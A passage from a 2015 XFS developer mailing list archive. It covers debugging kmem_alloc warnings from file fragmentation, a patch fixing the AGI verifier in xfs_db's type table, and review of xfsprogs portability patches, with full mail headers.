THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 BSF_SC5_SA210e Custom Rule SA210e I have sytemTap installed on the system. This script is running in the background and hoping to catch the call-stack= once the kemem_alloc message appears. # stap -o /var/kmem_alloc/kmem_alloc_bt.out backtrace.stp # cat backtrace.stp #! /usr/bin/env stap 2=20 3 probe module("xfs").function("xfs_err").call 4 { 5 print_backtrace(); 6 } 9=20 10=20 -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 8:33 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Tue, Oct 13, 2015 at 01:39:13AM +0000, Al Lau (alau2) wrote: > Have a 3 TB file. Logically divide into 1024 sections. Each section=20 > has a process doing dd to a randomly selected 4K block in a loop. =20 > Will this test case eventually cause the extent fragmentation that=20 > lead to the kmem_alloc message? >=20 > dd if=3D/var/kmem_alloc/junk of=3D/var/kmem_alloc/fragmented obs=3D4096=20 > bs=3D4096 count=3D1 seek=3D604885543 conv=3Dfsync,notrunc oflag=3Ddirect If you were loking for a recipe to massively fragment a file, then you foun= d it. And, yes, when you start to get millions of extents in a file such as= this workload will cause, you'll start having memory allocation problems. But I don't think that sets the GFP_ZERO flag anywhere, so that's not neces= sarily where the memroy shortage is coming from. I just committed some chan= ges to the dev tree that allow for more detailed information from this allo= cation error point to be obtained - perhaps if woul dbe worthwhile trying a= kernel build form the current for-next tree and turning the error level up= to 11? Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Mon Oct 12 23:17:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D687E7F37 for ; Mon, 12 Oct 2015 23:17:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B9F918F8035 for ; Mon, 12 Oct 2015 21:17:09 -0700 (PDT) X-ASG-Debug-ID: 1444709823-04cb6c578bf0700001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 4vUnhbNSGZCkUuuN for ; Mon, 12 Oct 2015 21:17:04 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DiCQDfhBxWPCSkLHldgyaBQoZbolMGkDqJHYF4EoI2TQEBAQEBAQcBAQEBQT+FAzsYagMHLYgtnHyjeIYuinCEFwWWFZtyjS2CLQELAYI/KjOGcQEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 14:47:02 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zlr1J-0000wl-S7 for xfs@oss.sgi.com; Tue, 13 Oct 2015 15:17:01 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zlr1J-0001JY-RA for xfs@oss.sgi.com; Tue, 13 Oct 2015 15:17:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] db: fix AGI ops definition in CRC type table Date: Tue, 13 Oct 2015 15:17:01 +1100 X-ASG-Orig-Subj: [PATCH] db: fix AGI ops definition in CRC type table Message-Id: <1444709821-5009-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444709823 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The wrong buffer ops structure was added to the AGI field of the type table when initially committed. This was not noticed because it only affects manually setting the type of a buffer from xfs_db. e.g xfs_db> agi 0 xfs_db> p ..... crc = 0xbc58d757 (correct) ..... xfs_db> fsb 2 xfs_db> type agi Metadata CRC error detected at block 0x10/0x1000 xfs_db> This is because (trimmed for clarity): Breakpoint 1, xfs_verifier_error: (gdb) bt #0 xfs_verifier_error #1 xfs_agfl_read_verify #2 set_iocur_type #3 type_f #4 main It's clear that the wrong verifier is being run (AGFL, not AGI). The fix is simple. Signed-off-by: Dave Chinner --- db/type.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/db/type.c b/db/type.c index 955986b..1da7ee1 100644 --- a/db/type.c +++ b/db/type.c @@ -77,7 +77,7 @@ static const typ_t __typtab[] = { static const typ_t __typtab_crc[] = { { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, { TYP_ATTR, "attr3", handle_struct, attr3_hfld, &xfs_attr3_db_buf_ops }, { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, @@ -113,7 +113,7 @@ static const typ_t __typtab_crc[] = { static const typ_t __typtab_spcrc[] = { { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, { TYP_ATTR, "attr3", handle_struct, attr3_hfld, &xfs_attr3_db_buf_ops }, { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, -- 2.5.0 From david@fromorbit.com Mon Oct 12 23:30:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B985B7F47 for ; Mon, 12 Oct 2015 23:30:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56EE8AC004 for ; Mon, 12 Oct 2015 21:30:21 -0700 (PDT) X-ASG-Debug-ID: 1444710617-04cb6c5785f0e20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id SWnhrHfKtvGkA32N for ; Mon, 12 Oct 2015 21:30:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DtCQBgiBxWPCSkLHldgyaBQoJdg36iUwaLH4slgxOCCnkEAgKBNU0BAQEBAQEHAQEBAUE/hCcBAQQ6HCMQCAMYCSUPBSUDBxoTiC3ASgEBAQEGAgEfGYYVhUWFDQeDGoEUAQSWFY0SjnSNGYR5KjOGcQEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 15:00:16 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlrE8-0000y3-78; Tue, 13 Oct 2015 15:30:16 +1100 Date: Tue, 13 Oct 2015 15:30:16 +1100 From: Dave Chinner To: "Al Lau (alau2)" Cc: "xfs@oss.sgi.com" Subject: Re: mkfs.xfs -n size=65536 Message-ID: <20151013043016.GE31326@dastard> X-ASG-Orig-Subj: Re: mkfs.xfs -n size=65536 References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444710617 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Tue, Oct 13, 2015 at 03:55:26AM +0000, Al Lau (alau2) wrote: > To remedy the fragmented files in our production systems, can I > run the xfs_fsr utility to de-fragment the files? Well, first you need to determine that the files are fragmented and that it is affecting performance.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 23:42:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B7F917F37 for ; Mon, 12 Oct 2015 23:42:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 44EE5AC005 for ; Mon, 12 Oct 2015 21:42:25 -0700 (PDT) X-ASG-Debug-ID: 1444711342-04cb6c578af1540001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id G7koUm4a9SBvtPvu for ; Mon, 12 Oct 2015 21:42:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BUCgCyihxWPCSkLHldgyaBQoJdg36iUwaLH4UbhgqDE4IKeQICAQECgTdNAQEBAQEBBwEBAQFBP4QnAQEEOhwjEAgDDgoJJQ8FJQMHGhOILcBGAQEBBwIBHxmGFYVFhQ0HgxqBFAWWFY0SjzuMUoR5KjOGcQEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 15:12:21 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlrPp-0000z9-7f; Tue, 13 Oct 2015 15:42:21 +1100 Date: Tue, 13 Oct 2015 15:42:21 +1100 From: Dave Chinner To: Jan Tulak Cc: xfs@oss.sgi.com Subject: Re: [PATCH 13/14] xfsprogs: Make mremap conditional Message-ID: <20151013044221.GF31326@dastard> X-ASG-Orig-Subj: Re: [PATCH 13/14] xfsprogs: Make mremap conditional References: <1442311164-12921-1-git-send-email-jtulak@redhat.com> <1442311164-12921-14-git-send-email-jtulak@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1442311164-12921-14-git-send-email-jtulak@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444711342 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 15, 2015 at 11:59:23AM +0200, Jan Tulak wrote: > Don't build mremap (in xfs_io) on platforms where it has no support. > > Signed-off-by: Jan Tulak This doesn't define HAVE_REMAP as a build define in io/Makefile, so always fails to build in mremap support. this leads to: generic/030 2s ... [not run] xfs_io mremap support is missing I've fixed this on commit. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 23:54:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6180E7F37 for ; Mon, 12 Oct 2015 23:54:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF4A8AC007 for ; Mon, 12 Oct 2015 21:54:57 -0700 (PDT) X-ASG-Debug-ID: 1444712094-04cb6c5785f1dd0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vkm7RuGIuqonKwyE for ; Mon, 12 Oct 2015 21:54:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BVCgBBjhxWPCSkLHldgyaBQoJdg36iUwaLH4UbhgqDE4IKeQICAQECgTdNAQEBAQEBBwEBAQFBP4QmAQEBAwE6HCMFCwgDDgoJJQ8FJQMHGhOIJgfARgEBCAIBHxmGFYVFhQ0HhC4FhzqHBYdWjRKBYJFliEiCdB2BaCozhnEBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 15:24:43 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zlrbm-0000zz-7M; Tue, 13 Oct 2015 15:54:42 +1100 Date: Tue, 13 Oct 2015 15:54:42 +1100 From: Dave Chinner To: Jan Tulak Cc: xfs@oss.sgi.com Subject: Re: [PATCH 12/14 v2] xfsprogs: make fsr use mntinfo when there is no mntent Message-ID: <20151013045442.GG31326@dastard> X-ASG-Orig-Subj: Re: [PATCH 12/14 v2] xfsprogs: make fsr use mntinfo when there is no mntent References: <1442311164-12921-13-git-send-email-jtulak@redhat.com> <1443542653-10525-1-git-send-email-jtulak@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443542653-10525-1-git-send-email-jtulak@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444712094 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 29, 2015 at 06:04:13PM +0200, Jan Tulak wrote: > UPDATE: > - refactor ifdefs to platform_ functions > > For what fsr needs, mntinfo can be used instead of mntent on some > platforms. Exctract the platform-specific code to platform headers. > > Signed-off-by: Jan Tulak I haven't commited this patch - I think it still needs some work to clean up.... > static void > initallfs(char *mtab) > { > - FILE *fp; > struct mntent *mp; > int mi; > char *cp; > struct stat64 sb; > > - fp = setmntent(mtab, "r"); > - if (fp == NULL) { > - fsrprintf(_("could not open mtab file: %s\n"), mtab); > - exit(1); > - } > - > /* malloc a number of descriptors, increased later if needed */ > if (!(fsbase = (fsdesc_t *)malloc(fsbufsize * sizeof(fsdesc_t)))) { > fsrprintf(_("out of memory: %s\n"), strerror(errno)); > @@ -427,7 +425,36 @@ initallfs(char *mtab) > /* find all rw xfs file systems */ > mi = 0; > fs = fsbase; > + > +#if defined(HAVE_GETMNTENT) > + FILE *fp; > + fp = setmntent(mtab, "r"); > + if (fp == NULL) { > + fsrprintf(_("could not open mtab file: %s\n"), mtab); > + exit(1); > + } > + > while ((mp = getmntent(fp))) { > +#elif defined(HAVE_GETMNTINFO) > + struct statfs *stats; > + int error, i, count; > + // because "t" is a pointer, but we don't need to use > + // malloc for this usage > + struct mntent mp_tmp; > + mp = &mp_tmp; > + error = 0; > + if ((count = getmntinfo(&stats, 0)) < 0) { > + fprintf(stderr, _("%s: getmntinfo() failed: %s\n"), > + progname, strerror(errno)); > + exit(1); > + } > + > + for (i = 0; i < count; i++) { > + mntinfo2mntent(&stats[i], mp); > +#else > +# error "How do I extract info about mounted filesystems on this platform?" > +#endif this stuff here. This iteration should be able to be done via the cursor abstraction, such as by keeping the iteration information within the cursor... Cheers, Dave. -- Dave Chinner david@fromorbit.com From darrick.wong@oracle.com Tue Oct 13 02:23:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 31EEB7F37 for ; Tue, 13 Oct 2015 02:23:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AA22AAC006 for ; Tue, 13 Oct 2015 00:23:58 -0700 (PDT) X-ASG-Debug-ID: 1444721036-04cb6c578bf6c30001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id BTdkPtPxCay4x1qH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 13 Oct 2015 00:23:56 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9D7NpuY024645 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 13 Oct 2015 07:23:51 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9D7NpuT030727 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 07:23:51 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9D7NpGq009591; Tue, 13 Oct 2015 07:23:51 GMT Received: from localhost (/71.198.20.188) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 13 Oct 2015 00:23:51 -0700 Date: Tue, 13 Oct 2015 00:23:50 -0700 From: "Darrick J. Wong" To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] db: fix AGI ops definition in CRC type table Message-ID: <20151013072350.GG10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH] db: fix AGI ops definition in CRC type table References: <1444709821-5009-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444709821-5009-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444721036 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23444 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 13, 2015 at 03:17:01PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The wrong buffer ops structure was added to the AGI field of the > type table when initially committed. This was not noticed because it > only affects manually setting the type of a buffer from xfs_db. e.g > > xfs_db> agi 0 > xfs_db> p > ..... > crc = 0xbc58d757 (correct) > ..... > xfs_db> fsb 2 > xfs_db> type agi > Metadata CRC error detected at block 0x10/0x1000 > xfs_db> > > This is because (trimmed for clarity): > > Breakpoint 1, xfs_verifier_error: > (gdb) bt > #0 xfs_verifier_error > #1 xfs_agfl_read_verify > #2 set_iocur_type > #3 type_f > #4 main > > It's clear that the wrong verifier is being run (AGFL, not AGI). > The fix is simple. Looks reasonable, so you can add my reviewed-by if you like. For my part I'm still figuring out how to fix this: xfs_db> agf 2 xfs_db> type agi Metadata CRC error detected at block 0x10/0x1000 xfs_db> p Segmentation fault Granted, trying to print the AGF fields of an AGI block doesn't make sense, but I feel like xfs_db should probably have a better reaction than crashing. --D > > Signed-off-by: Dave Chinner > --- > db/type.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/db/type.c b/db/type.c > index 955986b..1da7ee1 100644 > --- a/db/type.c > +++ b/db/type.c > @@ -77,7 +77,7 @@ static const typ_t __typtab[] = { > static const typ_t __typtab_crc[] = { > { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, > { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, > - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, > + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, > { TYP_ATTR, "attr3", handle_struct, attr3_hfld, > &xfs_attr3_db_buf_ops }, > { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, > @@ -113,7 +113,7 @@ static const typ_t __typtab_crc[] = { > static const typ_t __typtab_spcrc[] = { > { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, > { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, > - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, > + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, > { TYP_ATTR, "attr3", handle_struct, attr3_hfld, > &xfs_attr3_db_buf_ops }, > { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From alau2@cisco.com Tue Oct 13 02:29:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75F1D7F47 for ; Tue, 13 Oct 2015 02:29:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 65AD0304059 for ; Tue, 13 Oct 2015 00:29:04 -0700 (PDT) X-ASG-Debug-ID: 1444721342-04cb6c5785f6d90001-NocioJ Received: from alln-iport-8.cisco.com (alln-iport-8.cisco.com [173.37.142.95]) by cuda.sgi.com with ESMTP id ysgrhnfw8x838f31 (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Tue, 13 Oct 2015 00:29:02 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.142.95 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=1059; q=dns/txt; s=iport; t=1444721343; x=1445930943; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=s4/WUDd6znwiJ7nvNFwX9+1kGNFXQ19v5i25ig5NVqo=; b=dG0H5Ege8Ot1O1lUH+7lsAAPEjfZrnV5T4kvx7nIrxhLVoElkyrD4a2k gQv22K1pw3+qvoKbSNUwMrOYzJq/tNsaRpz0d7E/WN8PoYI8Tl10IXjMj M5emCUFUBDOQgT/3Z8mpDo6qhmiqCWteQdRJh/X3Z1NQci8NsQRWKew0r o=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0C2AgDWsRxW/5RdJa1dgyaBQga+CQENgVqDE4IKfwKBOzgUAQEBAQEBAYEKhCYBAQEEOj8MBAIBCA4DBAEBAR4JBzIUCQgCBA4FCIgmwFcBAQEBAQEBAQEBAQEBAQEBAQEBAQEXi3OFDQcGhCgFlhUBjRKOc40YAR8BAUKEAnGFa4EGAQEB X-IronPort-AV: E=Sophos;i="5.17,677,1437436800"; d="scan'208";a="197406710" Received: from rcdn-core-12.cisco.com ([173.37.93.148]) by alln-iport-8.cisco.com with ESMTP; 13 Oct 2015 07:29:01 +0000 Received: from XCH-ALN-020.cisco.com (xch-aln-020.cisco.com [173.36.7.30]) by rcdn-core-12.cisco.com (8.14.5/8.14.5) with ESMTP id t9D7T1E3022504 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 07:29:02 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-ALN-020.cisco.com (173.36.7.30) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Tue, 13 Oct 2015 02:28:49 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Tue, 13 Oct 2015 02:28:49 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAAAhmBND///HgAIAAThiA///B5ACAACU6gA== Date: Tue, 13 Oct 2015 07:28:48 +0000 Message-ID: References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> <20151013043016.GE31326@dastard> In-Reply-To: <20151013043016.GE31326@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.24.89.152] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: alln-iport-8.cisco.com[173.37.142.95] X-Barracuda-Start-Time: 1444721342 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, 